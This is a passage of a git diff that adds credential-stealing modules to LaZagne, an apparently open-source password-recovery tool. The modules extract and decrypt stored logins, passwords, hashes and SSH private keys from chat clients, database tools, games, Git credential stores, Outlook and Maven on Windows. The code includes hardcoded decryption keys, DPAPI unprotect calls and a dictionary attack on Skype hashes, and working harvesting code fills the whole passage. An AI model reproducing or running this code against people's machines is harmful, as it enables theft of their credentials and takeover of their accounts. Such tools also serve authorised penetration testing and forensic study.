import ElementTree + +from lazagne.config.constant import constant +from lazagne.config.module_info import ModuleInfo + + +class Pidgin(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'pidgin', 'chats') + + def run(self): + path = os.path.join(constant.profile['APPDATA'], u'.purple', u'accounts.xml') + if os.path.exists(path): + tree = ElementTree(file=path) + root = tree.getroot() + pwd_found = [] + + for account in root.findall('account'): + name = account.find('name') + password = account.find('password') + if all((name, password)): + pwd_found.append({ + 'Login': name.text, + 'Password': password.text + }) + return pwd_found diff --git a/lazagne/softwares/chats/psi.py b/lazagne/softwares/chats/psi.py new file mode 100644 index 0000000..504a661 --- /dev/null +++ b/lazagne/softwares/chats/psi.py @@ -0,0 +1,64 @@ +# -*- coding: utf-8 -*- +import os +from xml.etree.cElementTree import ElementTree +from glob import glob +from itertools import cycle + +from lazagne.config.constant import constant +from lazagne.config.module_info import ModuleInfo +from lazagne.config.winstructure import char_to_int + + +class PSI(ModuleInfo): + def __init__(self): + self.pwd_found = [] + + ModuleInfo.__init__(self, 'psi-im', 'chats') + + def get_profiles_files(self): + _dirs = ( + u'psi\\profiles\\*\\accounts.xml', + u'psi+\\profiles\\*\\accounts.xml', + ) + + for one_dir in _dirs: + _path = os.path.join(constant.profile['APPDATA'], one_dir) + accs_files = glob(_path) + for one_file in accs_files: + yield one_file + + # Thanks to https://github.com/jose1711/psi-im-decrypt + def decode_password(self, password, jid): + result = '' + jid = cycle(jid) + for n1 in range(0, len(password), 4): + x = int(password[n1:n1 + 4], 16) + result += chr(x ^ char_to_int(next(jid))) + + return result + + def process_one_file(self, _path): + root = ElementTree(file=_path).getroot() + + for item in root: + if item.tag == '{http://psi-im.org/options}accounts': + for acc in item: + values = {} + + for x in acc: + if x.tag == '{http://psi-im.org/options}jid': + values['Login'] = x.text + + elif x.tag == '{http://psi-im.org/options}password': + values['Password'] = x.text + + values['Password'] = self.decode_password(values['Password'], values['Login']) + + if values: + self.pwd_found.append(values) + + def run(self): + for one_file in self.get_profiles_files(): + self.process_one_file(one_file) + + return self.pwd_found diff --git a/lazagne/softwares/chats/skype.py b/lazagne/softwares/chats/skype.py new file mode 100644 index 0000000..a988477 --- /dev/null +++ b/lazagne/softwares/chats/skype.py @@ -0,0 +1,145 @@ +# -*- coding: utf-8 -*- +import binascii +import hashlib +import os +import struct +from xml.etree.cElementTree import ElementTree + +import lazagne.config.winstructure as win +from lazagne.config.constant import constant +from lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC +from lazagne.config.dico import get_dic +from lazagne.config.module_info import ModuleInfo + +try: + import _winreg as winreg +except ImportError: + import winreg + + +class Skype(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'skype', 'chats', winapi_used=True) + + self.pwd_found = [] + + def aes_encrypt(self, message, passphrase): + iv = '\x00' * 16 + aes = AESModeOfOperationCBC(passphrase, iv=iv) + return aes.encrypt(message) + + # get value used to build the salt + def get_regkey(self): + try: + key_path = 'Software\\Skype\\ProtectedStorage' + try: + hkey = win.OpenKey(win.HKEY_CURRENT_USER, key_path) + except Exception as e: + self.debug(str(e)) + return False + + # num = winreg.QueryInfoKey(hkey)[1] + k = winreg.EnumValue(hkey, 0)[1] + result_bytes = win.Win32CryptUnprotectData(k, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi) + return result_bytes.decode("utf-8") + except Exception as e: + self.debug(str(e)) + return False + + # get hash from lazagne.configuration file + def get_hash_credential(self, xml_file): + tree = ElementTree(file=xml_file) + encrypted_hash = tree.find('Lib/Account/Credentials3') + if encrypted_hash is not None: + return encrypted_hash.text + else: + return False + + # decrypt hash to get the md5 to bruteforce + def get_md5_hash(self, enc_hex, key): + # convert hash from hex to binary + enc_binary = binascii.unhexlify(enc_hex) + + # retrieve the salt + salt = hashlib.sha1('\x00\x00\x00\x00' + key).digest() + hashlib.sha1('\x00\x00\x00\x01' + key).digest() + + # encrypt value used with the XOR operation + aes_key = self.aes_encrypt(struct.pack('I', 0) * 4, salt[0:32])[0:16] + + # XOR operation + decrypted = [] + for d in range(16): + decrypted.append(struct.unpack('B', enc_binary[d])[0] ^ struct.unpack('B', aes_key[d])[0]) + + # cast the result byte + tmp = '' + for dec in decrypted: + tmp = tmp + struct.pack(">I", dec).strip('\x00') + + # byte to hex + return binascii.hexlify(tmp) + + def dictionary_attack(self, login, md5): + wordlist = constant.password_found + get_dic() + for word in wordlist: + hash_ = hashlib.md5('%s\nskyper\n%s' % (login, word)).hexdigest() + if hash_ == md5: + return word + return False + + def get_username(self, path): + xml_file = os.path.join(path, u'shared.xml') + if os.path.exists(xml_file): + tree = ElementTree(file=xml_file) + username = tree.find('Lib/Account/Default') + try: + return win.string_to_unicode(username.text) + except Exception: + pass + return False + + def get_info(self, key, username, path): + if os.path.exists(os.path.join(path, u'config.xml')): + values = {} + + try: + values['Login'] = username + + # get encrypted hash from the config file + enc_hex = self.get_hash_credential(os.path.join(path, u'config.xml')) + + if not enc_hex: + self.warning(u'No credential stored on the config.xml file.') + else: + # decrypt the hash to get the md5 to brue force + values['Hash'] = self.get_md5_hash(enc_hex, key) + values['Pattern to bruteforce using md5'] = win.string_to_unicode(values['Login']) + u'\\nskyper\\n' + + # Try a dictionary attack on the hash + password = self.dictionary_attack(values['Login'], values['Hash']) + if password: + values['Password'] = password + + self.pwd_found.append(values) + except Exception as e: + self.debug(str(e)) + + def run(self): + path = os.path.join(constant.profile['APPDATA'], u'Skype') + if os.path.exists(path): + # retrieve the key used to build the salt + key = self.get_regkey() + if not key: + self.error(u'The salt has not been retrieved') + else: + username = self.get_username(path) + if username: + d = os.path.join(path, username) + if os.path.exists(d): + self.get_info(key, username, d) + + if not self.pwd_found: + for d in os.listdir(path): + self.get_info(key, d, os.path.join(path, d)) + + return self.pwd_found diff --git a/lazagne/softwares/databases/__init__.py b/lazagne/softwares/databases/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/lazagne/softwares/databases/dbvis.py b/lazagne/softwares/databases/dbvis.py new file mode 100644 index 0000000..b4249e6 --- /dev/null +++ b/lazagne/softwares/databases/dbvis.py @@ -0,0 +1,79 @@ +# -*- coding: utf-8 -*- +import array +import base64 +import binascii +import hashlib +import os +import re +from xml.etree.cElementTree import ElementTree + +from lazagne.config.constant import constant +from lazagne.config.crypto.pyDes import des, CBC +from lazagne.config.module_info import ModuleInfo + + +class Dbvisualizer(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, name='dbvis', category='databases') + + self._salt = self.get_salt() + self._passphrase = 'qinda' + self._iteration = 10 + + def get_salt(self): + salt_array = [-114, 18, 57, -100, 7, 114, 111, 90] + salt = array.array('b', salt_array) + hexsalt = binascii.hexlify(salt) + return binascii.unhexlify(hexsalt) + + def get_derived_key(self, password, salt, count): + key = bytearray(password) + salt + + for i in range(count): + m = hashlib.md5(key) + key = m.digest() + return key[:8], key[8:] + + def decrypt(self, msg): + enc_text = base64.b64decode(msg) + (dk, iv) = self.get_derived_key(self._passphrase, self._salt, self._iteration) + crypter = des(dk, CBC, iv) + text = crypter.decrypt(enc_text) + return re.sub(r'[\x01-\x08]', '', text) + + def run(self): + path = os.path.join(constant.profile['HOMEPATH'], u'.dbvis', u'config70', u'dbvis.xml') + if os.path.exists(path): + tree = ElementTree(file=path) + + pwd_found = [] + elements = {'Alias': 'Name', 'Userid': 'Login', 'Password': 'Password', 'UrlVariables//Driver': 'Driver'} + + for e in tree.findall('Databases/Database'): + values = {} + for elem in elements: + try: + if elem != "Password": + values[elements[elem]] = e.find(elem).text + else: + values[elements[elem]] = self.decrypt(e.find(elem).text) + except Exception: + pass + + try: + elem = e.find('UrlVariables') + for ee in elem.getchildren(): + for ele in ee.getchildren(): + if 'Server' == ele.attrib['UrlVariableName']: + values['Host'] = str(ele.text) + if 'Port' == ele.attrib['UrlVariableName']: + values['Port'] = str(ele.text) + if 'SID' == ele.attrib['UrlVariableName']: + values['SID'] = str(ele.text) + except Exception: + pass + + if values: + pwd_found.append(values) + + return pwd_found diff --git a/lazagne/softwares/databases/postgresql.py b/lazagne/softwares/databases/postgresql.py new file mode 100644 index 0000000..68cc003 --- /dev/null +++ b/lazagne/softwares/databases/postgresql.py @@ -0,0 +1,32 @@ +# -*- coding: utf-8 -*- + +import os + +from lazagne.config.constant import constant +from lazagne.config.module_info import ModuleInfo + + +class PostgreSQL(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, name='postgresql', category='databases') + + def run(self): + path = os.path.join(constant.profile['APPDATA'], u'postgresql', u'pgpass.conf') + if os.path.exists(path): + with open(path) as f: + pwd_found = [] + for line in f.readlines(): + try: + items = line.strip().split(':') + pwd_found.append({ + 'Hostname': items[0], + 'Port': items[1], + 'DB': items[2], + 'Username': items[3], + 'Password': items[4] + }) + + except Exception: + pass + + return pwd_found diff --git a/lazagne/softwares/databases/robomongo.py b/lazagne/softwares/databases/robomongo.py new file mode 100644 index 0000000..629918e --- /dev/null +++ b/lazagne/softwares/databases/robomongo.py @@ -0,0 +1,101 @@ +# -*- coding: utf-8 -*- +import json +import os + +from lazagne.config.constant import constant +from lazagne.config.module_info import ModuleInfo + + +class Robomongo(ModuleInfo): + + def __init__(self): + ModuleInfo.__init__(self, 'robomongo', 'databases') + + self.paths = [ + { + 'directory': u'.config/robomongo', + 'filename': u'robomongo.json', + }, + { + 'directory': u'.3T/robo-3t/1.1.1', + 'filename': u'robo3t.json', + } + ] + + def read_file_content(self, file_path): + """ + Read the content of a file + + :param file_path: Path of the file to read. + + :return: File content as string. + """ + content = "" + if os.path.isfile(file_path): + with open(file_path, 'r') as file_handle: + content = file_handle.read() + + return content + + def parse_json(self, connection_file_path): + repos_creds = [] + if not os.path.exists(connection_file_path): + return repos_creds + with open(connection_file_path) as connection_file: + try: + connections_infos = json.load(connection_file) + except Exception: + return repos_creds + for connection in connections_infos.get("connections", []): + try: + creds = { + "Name": connection["connectionName"], + "Host": connection["serverHost"], + "Port": connection["serverPort"] + } + crd = connection["credentials"][0] + if crd.get("enabled"): + creds.update({ + "AuthMode": "CREDENTIALS", + "DatabaseName": crd["databaseName"], + "AuthMechanism": crd["mechanism"], + "Login": crd["userName"], + "Password": crd["userPassword"] + }) + else: + creds.update({ + "Host": connection["ssh"]["host"], + "Port": connection["ssh"]["port"], + "Login": connection["ssh"]["userName"] + }) + if connection["ssh"]["enabled"] and connection["ssh"]["method"] == "password": + creds.update({ + "AuthMode": "SSH_CREDENTIALS", + "Password": connection["ssh"]["userPassword"] + }) + else: + creds.update({ + "AuthMode": "SSH_PRIVATE_KEY", + "Passphrase": connection["ssh"]["passphrase"], + "PrivateKey": self.read_file_content(connection["ssh"]["privateKeyFile"]), + "PublicKey": self.read_file_content(connection["ssh"]["publicKeyFile"]) + }) + repos_creds.append(creds) + except Exception as e: + self.error(u"Cannot retrieve connections credentials '{error}'".format(error=e)) + + return repos_creds + + def run(self): + """ + Extract all connection's credentials. + + :return: List of dict in which one dict contains all information for a connection. + """ + pwd_found = [] + for directory in self.paths: + connection_file_path = os.path.join(constant.profile['USERPROFILE'], + directory['directory'], + directory['filename']) + pwd_found.extend(self.parse_json(connection_file_path)) + return pwd_found diff --git a/lazagne/softwares/databases/sqldeveloper.py b/lazagne/softwares/databases/sqldeveloper.py new file mode 100644 index 0000000..3f2dab1 --- /dev/null +++ b/lazagne/softwares/databases/sqldeveloper.py @@ -0,0 +1,106 @@ +# -*- coding: utf-8 -*- +import array +import base64 +import binascii +import hashlib +import os +import re +from xml.etree.cElementTree import ElementTree + +from lazagne.config.constant import constant +from lazagne.config.crypto.pyDes import des, CBC +from lazagne.config.module_info import ModuleInfo + + +class SQLDeveloper(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'sqldeveloper', 'databases') + + self._salt = self.get_salt() + self._passphrase = None + self._iteration = 42 + + def get_salt(self): + salt_array = [5, 19, -103, 66, -109, 114, -24, -83] + salt = array.array('b', salt_array) + hexsalt = binascii.hexlify(salt) + return binascii.unhexlify(hexsalt) + + def get_derived_key(self, password, salt, count): + key = bytearray(password) + salt + for i in range(count): + m = hashlib.md5(key) + key = m.digest() + return key[:8], key[8:] + + def decrypt(self, msg): + enc_text = base64.b64decode(msg) + (dk, iv) = self.get_derived_key(self._passphrase, self._salt, self._iteration) + crypter = des(dk, CBC, iv) + text = crypter.decrypt(enc_text) + return re.sub(r'[\x01-\x08]', '', text) + + def get_passphrase(self, path): + xml_name = u'product-preferences.xml' + xml_file = None + + if os.path.exists(os.path.join(path, xml_name)): + xml_file = os.path.join(path, xml_name) + else: + for p in os.listdir(path): + if p.startswith('system'): + new_directory = os.path.join(path, p) + + for pp in os.listdir(new_directory): + if pp.startswith(u'o.sqldeveloper'): + if os.path.exists(os.path.join(new_directory, pp, xml_name)): + xml_file = os.path.join(new_directory, pp, xml_name) + break + if xml_file: + tree = ElementTree(file=xml_file) + for elem in tree.iter(): + if 'n' in elem.attrib.keys(): + if elem.attrib['n'] == 'db.system.id': + return elem.attrib['v'] + + def run(self): + path = os.path.join(constant.profile['APPDATA'], u'SQL Developer') + if os.path.exists(path): + self._passphrase = self.get_passphrase(path) + if self._passphrase: + self.debug(u'Passphrase found: {passphrase}'.format(passphrase=self._passphrase)) + xml_name = u'connections.xml' + xml_file = None + + if os.path.exists(os.path.join(path, xml_name)): + xml_file = os.path.join(path, xml_name) + else: + for p in os.listdir(path): + if p.startswith('system'): + new_directory = os.path.join(path, p) + + for pp in os.listdir(new_directory): + if pp.startswith(u'o.jdeveloper.db.connection'): + if os.path.exists(os.path.join(new_directory, pp, xml_name)): + xml_file = os.path.join(new_directory, pp, xml_name) + break + + if xml_file: + renamed_value = {'sid': 'SID', 'port': 'Port', 'hostname': 'Host', 'user': 'Login', + 'password': 'Password', 'ConnName': 'Name', 'customUrl': 'URL', + 'SavePassword': 'SavePassword', 'driver': 'Driver'} + tree = ElementTree(file=xml_file) + + pwd_found = [] + for e in tree.findall('Reference'): + values = {} + for ee in e.findall('RefAddresses/StringRefAddr'): + if ee.attrib['addrType'] in renamed_value and ee.find('Contents').text is not None: + name = renamed_value[ee.attrib['addrType']] + value = ee.find('Contents').text if name != 'Password' else self.decrypt( + ee.find('Contents').text) + values[name] = value + + pwd_found.append(values) + + return pwd_found diff --git a/lazagne/softwares/databases/squirrel.py b/lazagne/softwares/databases/squirrel.py new file mode 100644 index 0000000..396481b --- /dev/null +++ b/lazagne/softwares/databases/squirrel.py @@ -0,0 +1,27 @@ +# -*- coding: utf-8 -*- +import os +from xml.etree.cElementTree import ElementTree + +from lazagne.config.constant import constant +from lazagne.config.module_info import ModuleInfo + + +class Squirrel(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, name='squirrel', category='databases') + + def run(self): + path = os.path.join(constant.profile['USERPROFILE'], u'.squirrel-sql', u'SQLAliases23.xml') + if os.path.exists(path): + tree = ElementTree(file=path) + pwd_found = [] + elements = {'name': 'Name', 'url': 'URL', 'userName': 'Login', 'password': 'Password'} + for elem in tree.iter('Bean'): + values = {} + for e in elem: + if e.tag in elements: + values[elements[e.tag]] = e.text + if values: + pwd_found.append(values) + + return pwd_found diff --git a/lazagne/softwares/games/__init__.py b/lazagne/softwares/games/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/lazagne/softwares/games/galconfusion.py b/lazagne/softwares/games/galconfusion.py new file mode 100644 index 0000000..58eeae8 --- /dev/null +++ b/lazagne/softwares/games/galconfusion.py @@ -0,0 +1,55 @@ +# -*- coding: utf-8 -*- + +import os + +try: + import _winreg as winreg +except ImportError: + import winreg + +import lazagne.config.winstructure as win +from lazagne.config.module_info import ModuleInfo +from lazagne.config.winstructure import string_to_unicode + + +class GalconFusion(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'galconfusion', 'games', registry_used=True) + + def run(self): + creds = [] + results = None + + # Find the location of steam - to make it easier we're going to use a try block + # 'cos I'm lazy + try: + with win.OpenKey(win.HKEY_CURRENT_USER, 'Software\\Valve\\Steam') as key: + results = winreg.QueryValueEx(key, 'SteamPath') + except Exception: + pass + + if results: + steampath = string_to_unicode(results[0]) + userdata = os.path.join(steampath, u'userdata') + + # Check that we have a userdata directory + if not os.path.exists(userdata): + self.error(u'Steam doesn\'t have a userdata directory.') + return + + # Now look for Galcon Fusion in every user + for f in os.listdir(userdata): + filepath = os.path.join(userdata, string_to_unicode(f), u'44200\\remote\\galcon.cfg') + if not os.path.exists(filepath): + continue + + # If we're here we should have a Galcon Fusion file + with open(filepath, mode='rb') as cfgfile: + # We've found a config file, now extract the creds + data = cfgfile.read() + creds.append({ + 'Login': data[4:0x23], + 'Password': data[0x24:0x43] + }) + + return creds diff --git a/lazagne/softwares/games/kalypsomedia.py b/lazagne/softwares/games/kalypsomedia.py new file mode 100644 index 0000000..3743ce3 --- /dev/null +++ b/lazagne/softwares/games/kalypsomedia.py @@ -0,0 +1,42 @@ +# -*- coding: utf-8 -*- +import base64 +import os + +from lazagne.config.constant import constant +from lazagne.config.module_info import ModuleInfo +from lazagne.config.winstructure import char_to_int, chr_or_byte + +try: + from ConfigParser import ConfigParser # Python 2.7 +except ImportError: + from configparser import ConfigParser # Python 3 + + +class KalypsoMedia(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'kalypsomedia', 'games') + + def xorstring(self, s, k): + """ + xors the two strings + """ + return b''.join(chr_or_byte(char_to_int(x) ^ char_to_int(y)) for x, y in zip(s, k)) + + def run(self): + creds = [] + key = b'lwSDFSG34WE8znDSmvtwGSDF438nvtzVnt4IUv89' + inifile = os.path.join(constant.profile['APPDATA'], u'Kalypso Media\\Launcher\\launcher.ini') + + # The actual user details are stored in *.userdata files + if os.path.exists(inifile): + config = ConfigParser() + config.read(inifile) + + # get the encoded password + cookedpw = base64.b64decode(config.get('styx user', 'password')) + + creds.append({ + 'Login': config.get('styx user', 'login'), + 'Password': self.xorstring(cookedpw, key) + }) + return creds diff --git a/lazagne/softwares/games/roguestale.py b/lazagne/softwares/games/roguestale.py new file mode 100644 index 0000000..6968099 --- /dev/null +++ b/lazagne/softwares/games/roguestale.py @@ -0,0 +1,41 @@ +# -*- coding: utf-8 -*- +import os +import re +from xml.etree.cElementTree import ElementTree + +from lazagne.config.constant import constant +from lazagne.config.module_info import ModuleInfo + + +class RoguesTale(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'roguestale', 'games') + + def run(self): + creds = [] + directory = constant.profile['USERPROFILE'] + u'\\Documents\\Rogue\'s Tale\\users' + + # The actual user details are stored in *.userdata files + if os.path.exists(directory): + files = os.listdir(directory) + + for f in files: + if re.match('.*\.userdata', f): + # We've found a user file, now extract the hash and username + + xmlfile = directory + '\\' + f + tree = ElementTree(file=xmlfile) + root = tree.getroot() + + # Double check to make sure that the file is valid + if root.tag != 'user': + self.warning(u'Profile %s does not appear to be valid' % f) + continue + + # Now save it to credentials + creds.append({ + 'Login': root.attrib['username'], + 'Hash': root.attrib['password'] + }) + + return creds diff --git a/lazagne/softwares/games/turba.py b/lazagne/softwares/games/turba.py new file mode 100644 index 0000000..a7bc9b8 --- /dev/null +++ b/lazagne/softwares/games/turba.py @@ -0,0 +1,55 @@ +# -*- coding: utf-8 -*- + +import os + +try: + import _winreg as winreg +except ImportError: + import winreg + +import lazagne.config.winstructure as win +from lazagne.config.module_info import ModuleInfo +from lazagne.config.winstructure import string_to_unicode + + +class Turba(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'turba', 'games', registry_used=True) + + def run(self): + creds = [] + results = None + + # Find the location of steam - to make it easier we're going to use a try block + # 'cos I'm lazy + try: + with win.OpenKey(win.HKEY_CURRENT_USER, 'Software\Valve\Steam') as key: + results = winreg.QueryValueEx(key, 'SteamPath') + except Exception: + pass + + if results: + steampath = string_to_unicode(results[0]) + steamapps = os.path.join(steampath, u'SteamApps\common') + + # Check that we have a SteamApps directory + if not os.path.exists(steamapps): + self.error(u'Steam doesn\'t have a SteamApps directory.') + return + + filepath = os.path.join(steamapps, u'Turba\\Assets\\Settings.bin') + + if not os.path.exists(filepath): + self.debug(u'Turba doesn\'t appear to be installed.') + return + + # If we're here we should have a valid config file file + with open(filepath, mode='rb') as filepath: + # We've found a config file, now extract the creds + data = filepath.read() + chunk = data[0x1b:].split('\x0a') + creds.append({ + 'Login': chunk[0], + 'Password': chunk[1] + }) + return creds diff --git a/lazagne/softwares/git/__init__.py b/lazagne/softwares/git/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/lazagne/softwares/git/gitforwindows.py b/lazagne/softwares/git/gitforwindows.py new file mode 100644 index 0000000..36ba99a --- /dev/null +++ b/lazagne/softwares/git/gitforwindows.py @@ -0,0 +1,61 @@ +# -*- coding: utf-8 -*- +import os + +try: + from urlparse import urlparse, unquote +except ImportError: + from urllib.parse import urlparse, unquote + +from lazagne.config.constant import constant +from lazagne.config.module_info import ModuleInfo +from lazagne.config.winstructure import string_to_unicode + + +class GitForWindows(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'gitforwindows', 'git') + + def extract_credentials(self, location): + """ + Extract the credentials from a Git store file. + See "https://git-scm.com/docs/git-credential-store" for file format. + + :param location: Full path to the Git store file + :return: List of credentials founds + """ + pwd_found = [] + if os.path.isfile(location): + with open(location) as f: + # One line have the following format: https://user:pass@example.com + for cred in f: + if len(cred) > 0: + parts = urlparse(cred) + pwd_found.append(( + unquote(parts.geturl().replace(parts.username + ":" + parts.password + "@", "").strip()), + unquote(parts.username), + unquote(parts.password) + )) + + return pwd_found + + def run(self): + """ + Main function + """ + + # According to the "git-credential-store" documentation: + # Build a list of locations in which git credentials can be stored + locations = [ + os.path.join(constant.profile["USERPROFILE"], u'.git-credentials'), + os.path.join(constant.profile["USERPROFILE"], u'.config\\git\\credentials'), + ] + if "XDG_CONFIG_HOME" in os.environ: + locations.append(os.path.join(string_to_unicode(os.environ.get('XDG_CONFIG_HOME')), u'git\\credentials')) + + # Apply the password extraction on the defined locations + pwd_found = [] + for location in locations: + pwd_found += self.extract_credentials(location) + + # Filter duplicates + return [{'URL': url, 'Login': login, 'Password': password} for url, login, password in set(pwd_found)] diff --git a/lazagne/softwares/mails/__init__.py b/lazagne/softwares/mails/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/lazagne/softwares/mails/outlook.py b/lazagne/softwares/mails/outlook.py new file mode 100644 index 0000000..966adae --- /dev/null +++ b/lazagne/softwares/mails/outlook.py @@ -0,0 +1,95 @@ +# -*- coding: utf-8 -*- +try: + import _winreg as winreg +except ImportError: + import winreg + +import lazagne.config.winstructure as win +from lazagne.config.module_info import ModuleInfo +from lazagne.config.constant import constant + + +class Outlook(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'outlook', 'mails', registry_used=True, winapi_used=True) + + def trySingleKey(self, keyPath): + try: + hkey = win.OpenKey(win.HKEY_CURRENT_USER, keyPath) + except Exception as e: + self.debug(e) + return + + num = winreg.QueryInfoKey(hkey)[0] + pwd_found = [] + for x in range(0, num): + name = winreg.EnumKey(hkey, x) + skey = win.OpenKey(hkey, name, 0, win.ACCESS_READ) + + num_skey = winreg.QueryInfoKey(skey)[0] + if num_skey != 0: + for y in range(0, num_skey): + name_skey = winreg.EnumKey(skey, y) + sskey = win.OpenKey(skey, name_skey) + num_sskey = winreg.QueryInfoKey(sskey)[1] + + for z in range(0, num_sskey): + k = winreg.EnumValue(sskey, z) + if 'password' in k[0].lower(): + values = self.retrieve_info(sskey, name_skey) + + if values: + pwd_found.append(values) + + winreg.CloseKey(skey) + winreg.CloseKey(hkey) + return pwd_found + + def retrieve_info(self, hkey, name_key): + values = {} + num = winreg.QueryInfoKey(hkey)[1] + for x in range(0, num): + k = winreg.EnumValue(hkey, x) + if 'password' in k[0].lower(): + try: + password_bytes = win.Win32CryptUnprotectData(k[1][1:], is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi) + # password_bytes is + b'\x00\x00' + terminator = b'\x00\x00' + if password_bytes.endswith(terminator): + password_bytes = password_bytes[: -len(terminator)] + + values[k[0]] = password_bytes.decode("utf-16") + except Exception as e: + self.debug(str(e)) + values[k[0]] = 'N/A' + else: + try: + values[k[0]] = str(k[1]).decode('utf16') + except Exception: + values[k[0]] = str(k[1]) + return values + + def run(self): + # https://github.com/0Fdemir/OutlookPasswordRecovery/blob/master/OutlookPasswordRecovery/Module1.vb + key_paths = { + "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", + "Software\\Microsoft\\Windows Messaging Subsystem\\Profiles", + } + # https://docs.microsoft.com/en-us/previous-versions/office/jj228679(v=office.15) + major_versions = { + "7.0", # Office 97 + "8.0", # Office 98 + "9.0", # Office 2000 + "10.0", # Office XP + "11.0", # Office 2003 + "12.0", # Office 2007 + "14.0", # Office 2010 + "15.0", # Office 2013 + "16.0", # Office 2016 + "16.0", # Office 2019 + } + key_paths.update("Software\\Microsoft\\Office\\%s\\Outlook\\Profiles\\Outlook" % x for x in major_versions) + for key_path in key_paths: + result = self.trySingleKey(keyPath=key_path) + if not result is None: + return result diff --git a/lazagne/softwares/mails/thunderbird.py b/lazagne/softwares/mails/thunderbird.py new file mode 100644 index 0000000..9a58adf --- /dev/null +++ b/lazagne/softwares/mails/thunderbird.py @@ -0,0 +1,9 @@ +from lazagne.config.module_info import ModuleInfo +from lazagne.softwares.browsers.mozilla import Mozilla + + +class Thunderbird(Mozilla): + + def __init__(self): + self.path = u'{APPDATA}\\Thunderbird' + ModuleInfo.__init__(self, 'Thunderbird', 'mails') diff --git a/lazagne/softwares/maven/__init__.py b/lazagne/softwares/maven/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/lazagne/softwares/maven/mavenrepositories.py b/lazagne/softwares/maven/mavenrepositories.py new file mode 100644 index 0000000..b5beb99 --- /dev/null +++ b/lazagne/softwares/maven/mavenrepositories.py @@ -0,0 +1,131 @@ +# -*- coding: utf-8 -*- +import os +from xml.etree import ElementTree + +from lazagne.config.constant import constant +from lazagne.config.module_info import ModuleInfo + + +class MavenRepositories(ModuleInfo): + + def __init__(self): + ModuleInfo.__init__(self, 'mavenrepositories', 'maven') + # Interesting XML nodes in Maven repository configuration + self.nodes_to_extract = ["id", "username", "password", "privateKey", "passphrase"] + self.settings_namespace = "{http://maven.apache.org/SETTINGS/1.0.0}" + + def extract_master_password(self): + """ + Detect if a Master password exists and then extract it. + + See https://maven.apache.org/guides/mini/guide-encryption.html#How_to_create_a_master_password + + :return: The master password value or None if no master password exists. + """ + master_password = None + master_password_file_location = constant.profile["USERPROFILE"] + u'\\.m2\\settings-security.xml' + if os.path.isfile(master_password_file_location): + try: + config = ElementTree.parse(master_password_file_location).getroot() + master_password_node = config.find(".//master") + if master_password_node is not None: + master_password = master_password_node.text + except Exception as e: + self.error(u"Cannot retrieve master password '%s'" % e) + master_password = None + + return master_password + + def extract_repositories_credentials(self): + """ + Extract all repositories's credentials. + + See https://maven.apache.org/settings.html#Servers + + :return: List of dict in which one dict contains all information for a repository. + """ + repos_creds = [] + maven_settings_file_location = constant.profile["USERPROFILE"] + u'\\.m2\\settings.xml' + if os.path.isfile(maven_settings_file_location): + try: + settings = ElementTree.parse(maven_settings_file_location).getroot() + server_nodes = settings.findall(".//%sserver" % self.settings_namespace) + for server_node in server_nodes: + creds = {} + for child_node in server_node: + tag_name = child_node.tag.replace(self.settings_namespace, "") + if tag_name in self.nodes_to_extract: + creds[tag_name] = child_node.text.strip() + if len(creds) > 0: + repos_creds.append(creds) + except Exception as e: + self.error(u"Cannot retrieve repositories credentials '%s'" % e) + + return repos_creds + + def use_key_auth(self, creds_dict): + """ + Utility function to determine if a repository use private key authentication. + + :param creds_dict: Repository credentials dict + :return: True only if the repositry use private key authentication + """ + state = False + if "privateKey" in creds_dict: + pk_file_location = creds_dict["privateKey"] + pk_file_location = pk_file_location.replace("${user.home}", constant.profile["USERPROFILE"]) + state = os.path.isfile(pk_file_location) + + return state + + def run(self): + """ + Main function: + + - For encrypted password, provides the encrypted version of the password with the master password in order + to allow "LaZagne run initiator" the use the encryption parameter associated with the version of Maven because + encryption parameters can change between version of Maven. + + - "LaZagne run initiator" can also use the encrypted password and the master password "AS IS" + in a Maven distribution to access repositories. + See: + github.com/jelmerk/maven-settings-decoder + github.com/sonatype/plexus-cipher/blob/master/src/main/java/org/sonatype/plexus/components/cipher/PBECipher.java + """ + + # Extract the master password + master_password = self.extract_master_password() + + # Extract all available repositories credentials + repos_creds = self.extract_repositories_credentials() + + # Parse and process the list of repositories's credentials + # 3 cases are handled: + # => Authentication using password protected with the master password (encrypted) + # => Authentication using password not protected with the master password (plain text) + # => Authentication using private key + pwd_found = [] + for creds in repos_creds: + values = { + "Id": creds["id"], + "Login": creds["username"] + } + if not self.use_key_auth(creds): + pwd = creds["password"].strip() + # Case for authentication using password protected with the master password + if pwd.startswith("{") and pwd.endswith("}"): + values["SymetricEncryptionKey"] = master_password + values["PasswordEncrypted"] = pwd + else: + values["Password"] = pwd + else: + # Case for authentication using private key + pk_file_location = creds["privateKey"] + pk_file_location = pk_file_location.replace("${user.home}", constant.profile["USERPROFILE"]) + with open(pk_file_location, "r") as pk_file: + values["PrivateKey"] = pk_file.read() + if "passphrase" in creds: + values["Passphrase"] = creds["passphrase"] + pwd_found.append(values) + + return pwd_found diff --git a/lazagne/softwares/memory/__init__.py b/lazagne/softwares/memory/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/lazagne/softwares/memory/keepass.py b/lazagne/softwares/memory/keepass.py new file mode 100644 index 0000000..8b4876a --- /dev/null +++ b/lazagne/softwares/memory/keepass.py @@ -0,0 +1,31 @@ +# -*- coding: utf-8 -*- +# Thanks to the awesome work done by harmjoy +# For more information 